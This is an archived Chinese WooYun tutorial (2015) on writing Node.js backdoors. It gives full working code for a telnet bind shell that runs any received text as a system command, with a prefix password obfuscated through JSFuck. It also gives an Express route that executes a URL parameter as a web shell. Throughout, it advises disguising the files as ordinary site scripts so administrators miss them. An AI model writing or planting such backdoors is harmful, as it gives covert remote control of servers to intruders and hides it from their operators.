# NodeJs后门程序

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-12-03T02:23:00Z
Canonical: https://wepostx.com/topics/1218

> 乌云历史资料归档
>
> **原始作者：** Black_Hole
> **原始编号：** superkieran-wooyundrops:924
> **原始发布时间：** 2015-12-03 10:23
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

从语言下手，来写一个市面没有的后面程序。

# 0x01 为什么选择NodeJs

- 我个人非常喜爱JavaScript这门语言，而我们今天所说的就是NodeJS，JavaScript语言的一个分支。NodeJS本身就是一个Web 服务器同时他还是一门后端语言，这一点尤其重要，因为我们只需要下载一个NodeJs就可以完成一系列操作，从而免去很多的麻烦。

- 而且即使被运维人员发现，也会以为是开发部门正在写有关NodeJs的项目。

- NodeJs是一个非常年轻的语言，以至于很多人都没有学过。我见过运维人员懂PHP、Python的，但是懂NodeJs的，我是没见过。
接下来的篇章，我会使用telnet通信和web通信两个方式来写NodeJs后面程序。

- 下一篇再说

# 0x02 前期准备工作

有关NodeJs安装的，请自行百度。
我这里使用的是NodeJs版本是5.1.0

![原文图片](/media/2016/06/6f01b18bca578671b7024e0d985f584a)

NodeJs安装完成后，我们可以随便在哪一个目录建立一个NodeJs文件，当然我这里推荐在服务器网站上的静态目录里的JavaScript目录来写，因为都是JavaScript文件，有很大的隐蔽性。我嫌麻烦，就在~目录下建立一个nodeDemo目录来建立NodeJs文件了。
我这里建立的是app.js，当然名字随便取，你可以取base.js、cache.js、cookies.js等等，起到隐蔽性就行了。

# 0x03 telnet通信后门

NodeJs里使用telnet进行通信的时候，需要调用net库和child_process库里的exec方法。
代码如下：

```text
var net = require('net'); var exec = require('child_process').exec;
```
然后使用createServer()函数来创建连接，代码如下：

```text
var server= net.createServer(function(conn){ //code });
```
接下来要解决字符串编码问题，不然乱码真的没法看：

```text
conn.setEncoding('utf8');
```
注意这里没有-，不是utf-8。切记。
为了好看，我还特意加上了conn.write('\n');恩，这样好看多了。
OK，接下来就是连接成功后，处理输入的字符串了。这里需要用on函数：

```text
conn.on('data',function(data){ //code });
```
在输入后的字符串里，删除掉回车字符串。

```text
data=data.replace('\r\n','');
```
这段代码非常重要。我被这个坑卡了二十分钟。很多人可能会问不就是个回车么，按两次回车键怎么了。问题就在这。他这是ascll编码，也就是说你这个不会回车，而是回车的ascll编码，如果没有这个命令，你输入的命令都将无法使用，你用echo输出到的文件也会变成xxx.txt?这里并不是真正的?，而是系统无法显示出这个字符，而用?告诉人们，这是一个无法显示的字符串。
这里的data变量就是我们输入的命令了。接下来就要用到child_process库里的exec方法了。

```text
exec(data,function(error,stdout){ //code });
```
exec的第一个参数是data，也就是我们要运行的代码，后面的参数是个函数，这个函数里的一个参数是error，他是反馈命令中存在的错误。二个参数stdout是命令运行后的反馈。
我们先判断运行的命令中是否存在错误：

```text
if(error !== null){ conn.write(error + '\n'); return false; }
```
如果没有错误会反馈null字符串，我们就拿这个当做判断条件。Conn.write是在telnet终端反馈字符的，相当于php中的echo。
return false;是防止程序继续向下执行。
接下来就是显示命令反馈了：

```text
conn.write('########################start\n\n' + stdout + '\n########################end\n\n');
```
为了更加的直观，我用#start和#end来标出反馈的区域。
server变量OK后，就是让程序监听端口运行了。

```text
server.listen(3000,function(){ console.log('OK'); });
```
监听3000端口，并在终端中显示OK。
完整代码如下：

```text
var net = require('net'); var exec = require('child_process').exec; var server= net.createServer(function(conn){ conn.setEncoding('utf8'); conn.write('\n'); conn.on('data',function(data){ data=data.replace('\r\n',''); exec(data,function(error,stdout){ if(error !== null){ conn.write(error + '\n'); return false; } conn.write('########################start\n\n' + stdout + '\n########################end\n\n'); }); }); }); server.listen(3000,function(){ console.log('OK'); });
```
现在让我们来测试一下：

![原文图片](/media/2016/06/5411fa9472d50f9e684c02be7587d795)

打开另一个终端，输入telnet 127.0.0.1 3000

![原文图片](/media/2016/06/3fc573a9adfac363c0af3259f0a44930)

现在我们输入几条命令试下：

![原文图片](/media/2016/06/322a1cae785c9537e7b4cd4fe7bd060b)

![原文图片](/media/2016/06/267c1d98fd3927180c36293a36295342)

OK了。现在只需要使用添加用户即可再次控制机器。
而这里有个缺陷，就是没有密码验证，我特意查了net库里的函数，但是没有找到密码验证，于是我想到了另一种方法来代替密码验证。代码如下：

```text
if(data.substring(0,2) == 'js'){ data = data.substring(2); }else{ return false; }
```
每一条命令的前面都加上js才会运行，如果没有，则什么都不输出。事例：

![原文图片](/media/2016/06/aca28f22c8828ec8cf09360555670e5d)

加上当我第一次输入ls的时候，程序并没有运行，当前面加上js字符串之后，命令才成功的运行。
直接写js字符串太显眼了，我们加密一下吧，因为NodeJs用的v8引擎，那么在浏览器里的JavaScript黑魔法，在NodeJs里也可以使用，我们打开[http://www.jsfuck.com/](http://www.jsfuck.com/)把js加密下，加密后的字符串是：

```text
(+(!+[]+!+[]+!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]
```
如图：

![原文图片](/media/2016/06/29b0ac19389d85ab1260edb57281c3f7)

那么现在的NodeJs后门代码就变成这个样子：

![原文图片](/media/2016/06/e161788230642fbf19997e3fdaf1cb95)

现在我们来测试一下能不能使用：

![原文图片](/media/2016/06/47be2b290847d3e47d4100a6ba5322c4)

完美。

# 0x03 web通信后门

上节说道使用telnet通信当做后门，那么现在我们来说一说web通信后门。
这里是使用了express框架吗，玩过NodeJs的人都知道，基本是NodeJs必装框架。
安装express框架请自行百度。
首先我们建立一个网站目录用于存放后面程序。
express node如图：

![原文图片](/media/2016/06/5c03b62e2e44f918b7ea3f35abf115e7)

```text
cd node && npm install
```
完成后，基本就OK了。现在我们进入到routes目录。修改index.js文件。

```text
vim router/index.js
```

![原文图片](/media/2016/06/4cbeede8e7ac3542be7b201382846311)

这是之前的index.js代码，现在我们来修改它。
在第三行加入代码：

```text
var exec = require('child_process').exec;
```
删除第6行代码，修改为：

```text
exec(req.query.webshellPassword,function(error,stdout){ if(error !== null){ res.send(error); return false; } res.send(stdout); });
```
基本和上一节的telnet通信后门代码差不多。只是出现了如下代码：

```text
req.query.webshellPassword
```
req.query是NodeJs获取URL参数的。webshellPassword是参数名。他相当于PHP代码里的：$_GET['webshallPassword'];
完整代码如下：

![原文图片](/media/2016/06/6399964428f903a62f667765b239f9a9)

现在我们进入到node目录。运行它：

![原文图片](/media/2016/06/6a5a77ef5bdadbd2571efcab6c39bc20)

打开浏览器，输入http://127.0.0.1:3000/?webshellPassword=ls
结果如下：

![原文图片](/media/2016/06/b4ff27d84920919f24f3faf745827b3c)

浏如果是window系统，没有装linux命令集的话，请把ls改成dir。
我们来大致看一下能做哪些事：

![原文图片](/media/2016/06/7fd3380317728afda9778e54c4f2ba7c)

![原文图片](/media/2016/06/3699df7fbd4aa476160117008b1010ff)

![原文图片](/media/2016/06/3dd6bf264612324f4e438437bed809be)

![原文图片](/media/2016/06/bff309a2ffce0e7d659d542a4519568a)

想干啥都可以，心情瞬间变得更美丽的呢。
下一章将说到使用网站来管理后门。麻麻再也不用担心我天天抱着电脑了呢。

## Replies
